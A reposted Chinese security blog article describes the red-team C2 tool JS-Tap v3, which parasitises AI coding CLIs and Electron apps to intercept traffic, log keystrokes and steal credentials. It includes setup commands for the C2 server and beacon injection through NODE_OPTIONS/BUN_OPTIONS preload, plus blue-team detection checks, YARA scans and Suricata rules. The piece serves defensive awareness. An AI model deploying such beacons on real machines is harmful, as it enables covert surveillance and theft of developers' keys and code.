文章总结: 本文介绍红队工具JS-Tapv3,该工具由TrustedSec研究员开发,从XSS载荷演变为统一C2架构,核心针对AI命令行工具(如ClaudeCode、GeminiCLI)进行寄生攻击,通过环境变量注入实现流量截获、键盘记录与文件操作。文章详述五种信标类型及部署方式,并提供蓝队检测建议,包括环境变量检查、YARA扫描与网络规则检测。 综合评分: 88 文章分类: 红队,AI安全,安全工具,渗透测试,恶意软件
红队最新的趁手工具,蓝队最好也认识一下
原创
大白 大白
知白守黑1024
2026年9月22日 06:39 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
很多红队拿到一台机器后,干的最顺手的不是马上提权,而是先看看这台机器上跑着什么 AI 编程工具——Claude Code、Gemini CLI。这些工具替开发者握着 API key、GitHub token 和整棵代码树的读写权限,还长在终端里,天天开着。
这次要聊的 JS-Tap,v3 主打的就是寄生这类 AI 命令行工具。它不碰 Claude Code 的源码,也不改进程——一个 JS 文件,一个环境变量,等工具下次启动,攻击者那边就能实时看到你发给模型的每一句提问、模型回你的每一段代码。
上一篇观测站讲了 Strix,是让 AI 替红队去打;这一篇反个方向,看攻击者怎么顺着 AI 工具摸进你的机器。红队的技术细节在中三节,只想知道怎么查自己机器有没有中招,直接翻到第 05 节。
本篇路线
01三年,从一个 XSS 载荷到五路信标
02JavaScript 逃出了浏览器
03最狠的一刀:寄生 AI CLI
04十五分钟搭一套(仅限授权环境)
05蓝队视角:三条自查线
01|三年,从一个 XSS 载荷到五路信标
JS-Tap 由 TrustedSec 的安全研究员 Drew Kirkpatrick(GitHub ID:hoodoer)开发,2023 年 1 月建仓。最初它只是一个通用的 XSS 载荷:一个不依赖目标应用先验知识、也不需要受害者登录态的 JavaScript 文件,注入网页之后开始收集凭据、截图和网络流量。
JS-Tap 官方 Logo
三年时间,它从单打独斗的网页载荷,长成了一套统一 C2 架构:v2 引入任务下发与后渗透能力,v3 直接跳出浏览器,把战场搬到了终端。2026 年 6 月 v3 发布,项目随后登上 Black Hat USA 2026 的 Arsenal 展区。
JS-Tap 三个版本的进化路径
说句实话,477 个 Star 在开源 C2 圈子里算不上顶流,Sliver、Havoc 这些前辈的生态成熟得多。但这个项目值得写的原因不在数字:它对「JavaScript 正在逃出浏览器」这个攻击面的判断,比大多数同类工具早了不止一步——而 AI 编程工具的普及,正在把这个判断变成现实。
02|JavaScript 逃出了浏览器
作者在 v3 发布博文里说了一句很实在的话:JavaScript 早已不只活在网页里。浏览器扩展是 JavaScript;Slack、Signal、VS Code 这些 Electron 桌面应用是 JavaScript;新一代 AI 命令行工具——Claude Code、Gemini CLI——还是 JavaScript。
问题在于,这些新环境跑 JavaScript 的沙箱比浏览器弱得多。网页里的 JS 头上还压着同源策略和浏览器沙箱两道枷锁;而 Electron 主进程和 Node、Bun 命令行里跑的 JS,可以直接读写文件系统、执行系统命令,中间没有任何隔离层。
四类 JS 运行环境的沙箱与权限对比
JS-Tap v3 的五种信标,就是沿着这条沙箱递减的路径一层层打下去的:
| | | | — | — | | 信标 | 它是什么 / 怎么进去 | | DOM Beacon | 网页载荷:键盘输入、截图、XHR 与 Fetch 流量、表单提交。经 XSS 注入,或拿到服务器后写进应用的 JS 文件。 | | BEX Beacon | 浏览器扩展:全站 Cookie(含 httpOnly)、存储、请求头。靠诱导安装、物理接触或企业策略推送落地。 | | Sidecar | Go 原生二进制:文件浏览、读取、命令执行。随 BEX 经浏览器 native messaging 通道装入。 | | Atom Beacon | Electron 双层植入:主进程拿 OS 权限,渲染层自动注入所有窗口。用 atomize.py 改写目标应用的 ASAR 包。 | | V8 Beacon | Node/Bun 命令行智能体:流量截获(含 SSE 流)、键盘记录、文件与 Shell。只需一个环境变量。 |
BEX 是浏览器扩展形态。相比只能困在单个页面里的 DOM 载荷,它坐在浏览器层面看得到所有标签页:全站 Cookie(包括 DOM 载荷永远拿不到的httpOnly)、localStorage、请求头。它还能当投放器,从控制台远程往指定域名注入完整的 DOM 载荷,截图质量也随之升级为扩展的 captureVisibleTab 像素级捕获。
BEX 信标捕获 httpOnly 会话 Cookie
Sidecar 是唯一的原生二进制,一个 Go 程序,通过 native messaging 与 BEX 通信,补上文件浏览和命令执行。作者自己也承认这是 OPSEC 上最差的选项——要在磁盘注册原生宿主、留一个独立二进制,Atom 和 V8 用干净得多的方式拿到了同样的权限。它的价值在于:当浏览器扩展就是你的全部落脚点时,这是唯一能摸到 OS 的路。
03|最狠的一刀:寄生 AI CLI
V8 Beacon 是 v3 里最有想象力的一路,投放方式简单到夸张:往磁盘上丢一个 js 文件,设一个环境变量,结束。
原理不难:Node.js 和 Bun 都提供了「在应用代码之前预加载脚本」的官方开关。Node 走NODE_OPTIONS=”–require”,Bun 走BUN_OPTIONS=”–preload”。Claude Code 是 Bun 应用,Gemini CLI 是 Node 应用,都在射程内。信标在应用启动前加载,应用本身一行代码都不会被改动。
加载之后,它会 monkey-patch 掉 http.request、https.request、fetch 和 http2.connect 四个网络入口,所有出站流量连请求带响应全部截获——包括 Anthropic 和 Gemini API 的 SSE 流式响应,gzip 响应自动解压。换句话说,你发给模型的每一段上下文、模型吐出来的每一段回答,攻击者都看得一清二楚。
网络之外,它 hook 住 process.stdin 的多个层面做键盘记录,每 2 秒批量回传;文件浏览、文件读取、shell 执行全部内建;启动时的环境变量快照里,往往就躺着 API key。
V8 信标寄生 Claude Code 后的操作面板
对 CLI 工具的进程模型,它也处理得很细:Gemini CLI 会把自己 spawn 成子进程跑交互会话,子进程自动继承父进程的会话密钥,在控制台上仍是一个客户端;反过来,Bun 应用拉起的 Node 工具子进程会被运行时过滤掉,不会冒出幽灵客户端。这些边角处理,是它「能用」和「好用」的差别。
Atom Beacon 走桌面应用这条路。用随包的 atomize.py 改写目标 Electron 应用的 ASAR 包(或未打包的应用目录),下次启动时主进程里就住进了一个 Node 全权限智能体,还会自动往每一个新建窗口注入渲染层载荷——键盘、表单、Cookie、网络请求,全都汇到同一个控制台。如果应用设了 Electron 安全 fuse,改包工具会顺手重置掉。
Atom 信标植入 VS Code 后的控制台视图
v3 还给 Atom 和 V8 配了运行时可加载的插件系统,官方直接内置五个:VS Code Infiltrator 借编辑器环境复制、篡改文件,「借用」GitHub token 访问私有仓库;1Password Vault Raider 从运行中已解锁的实例里捞保险库的明文副本;Signal Interceptor 能读取、发送乃至伪造这个号称端到端加密的应用里的消息;Mattermost Masher 和 Slack Wrecker 是同款思路的移植。
VS Code Infiltrator 插件借 GitHub token 访问私有仓库
Signal 插件的消息读取与伪造界面
两个会话工具把后渗透闭环补齐了。Browser Proxy 让操作员的流量从受害者的浏览器、Electron 应用或 Node 进程里出去——目标网站看到的是受害者的 IP 和 TLS 指纹;Conductor 是一个 Firefox 扩展,贴入控制台生成的会话票据,就能在本地完整克隆受害者的登录态,Cookie、请求头、User-Agent 一次配齐。
JS-Tap Conductor 的会话与代理票据
需要说清楚的是:这套东西的前提,是攻击者已经能在你的机器上落文件、改环境变量。它不是漏洞利用,而是拿到落脚点之后的放大器。但 v3 真正的变化在于把放大成本压到了一个 js 文件加一个环境变量——而 AI 编程工具,让每个开发者都成了高价值目标。
04|十五分钟搭一套(仅限授权环境)
JS-Tap 是红队攻击工具,仅可用于获得书面授权的测试环境与教学场景,未经授权对他人系统使用属违法行为。以下操作全部在自有测试机上完成。
服务端是一个 Flask 应用,依赖不少,官方强烈建议用虚拟环境隔离。四步起服务:
服务端安装与启动
1. 建虚拟环境并克隆(需要 Python3)
mkdir jsTapEnvironment && cd jsTapEnvironment
python3 -m venv venv && source venv/bin/activate
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap && pip3 install -r requirements.txt
2. 自签一张证书(服务端走 HTTPS)
openssl req -x509 -newkey rsa:4096 -keyout key.pem \
-out cert.pem -sha256 -days 365 -nodes
3. 启动(开发调试模式)
python3 jsTapServer.py
生产环境用 gunicorn 多线程:
./jstapRun.sh
启动后服务端在 8444 端口起 HTTPS,每次启动会随机生成管理员密码,打印在控制台上,同时写入项目根目录的 adminCreds.txt。浏览器打开 https://服务器IP:8444 登录,就是控制台。
生成一个 V8 信标,一条命令:
生成 V8 信标
cd v8-beacon
python3 v8ize.py –server https://10.0.0.1:8444 –tag claude
产出:当前目录下的 v8-beacon.js,零依赖
然后在「受害者」测试机上模拟投放:
注入测试机(Node 与 Bun 两种运行时)
Node 系工具(如 Gemini CLI)
export NODE_OPTIONS=”–require /tmp/v8-beacon.js”
gemini
Bun 系工具(如 Claude Code)
export BUN_OPTIONS=”–preload /tmp/v8-beacon.js”
claude
启动 Claude Code,控制台的 Nodes 视图里客户端就亮了。点开是四个标签页:网络截获(完整的请求、响应与 SSE 流)、键盘记录、文件浏览器、shell。所有通信走 AES-GCM 加密信道,配 RSA-OAEP 密钥交换。
BEX 的构建也是一条命令:python3 buildAll.py,产物是 Chrome 和 Firefox 全平台的自包含部署包。Linux 上对 Chrome 走企业策略静默强装——用户不需要点任何东西,下次启动扩展就位,代价是浏览器菜单里多出一个「由组织管理」的标识。
升级提醒:版本号变更常伴随数据库结构调整,官方不提供迁移脚本。升级前删除 jsTap.db 即可,但如果控制台里存了自定义载荷,记得先导出。
05|蓝队视角:三条自查线
这个工具最麻烦的地方恰恰是「一切正常」:Claude Code 照常工作,没有异常进程,没有可疑弹窗。所以检测要往它必然经过的三个地方去。
第一条线,环境变量。这是 V8 信标唯一的投放痕迹,一条命令自查:
自查一:环境变量(人人可做)
Linux / macOS
echo $NODE_OPTIONS $BUN_OPTIONS
Windows
echo %NODE_OPTIONS% %BUN_OPTIONS%
输出为空,是干净的;出现 –require 或 –preload 指向陌生 js 文件,立刻查这个文件的来源和修改时间。
第二条线,磁盘。项目自带了一套检测规则,覆盖植入载荷、扩展脚本、原生宿主清单等八类特征:
自查二:YARA 扫描(安全团队)
扫描 Chrome 扩展目录(Linux)
yara -r detections/jstap.yar \
~/.config/google-chrome/Default/Extensions/
Firefox
yara -r detections/jstap.yar ~/.mozilla/firefox/*/extensions/
第三条线,网络。官方提供 Suricata 和 Snort 两种格式的规则,核心特征是客户端注册与密钥交换两个端点:
自查三:Suricata 网络规则
cp detections/jstap_network.rules /etc/suricata/rules/
在 suricata.yaml 的 rule-files 中加入:
– jstap_network.rules
suricata -T -c /etc/suricata/suricata.yaml
命中特征:/client/getToken 与 /client/keyExchange/
有个诚实的细节值得说明:如果操作端开启了流量混淆,/loot/* 一类明文外传路径会在流量里消失——但密钥交换和注册端点仍然可见,这是加密信道绕不开的握手。
企业加固层面:NODE_OPTIONS 本质是一个官方预留的运行时开关,可以用环境变量白名单或启动器封装锁死;Electron 应用侧可以校验 ASAR 包完整性;浏览器扩展目录纳入定期扫描。别指望单点检测兜底,三条线一起上。
最后说一句:把武器和对应的检测规则放进同一个仓库,这个姿势在同类项目里不多见。红队用它做演练,蓝队拿它当对抗样本——同一份代码,两边都能用。
结 语
说到底,JS-Tap 赢在「趁手」二字。
它没有绕过什么百年老漏洞,只是把沙箱递减这条再也藏不住的路,沿着走了一遍。
而 AI 编程工具,把这条路的入口送到了每个人桌上。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:知白守黑1024 大白 大白《红队最新的趁手工具,蓝队最好也认识一下》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论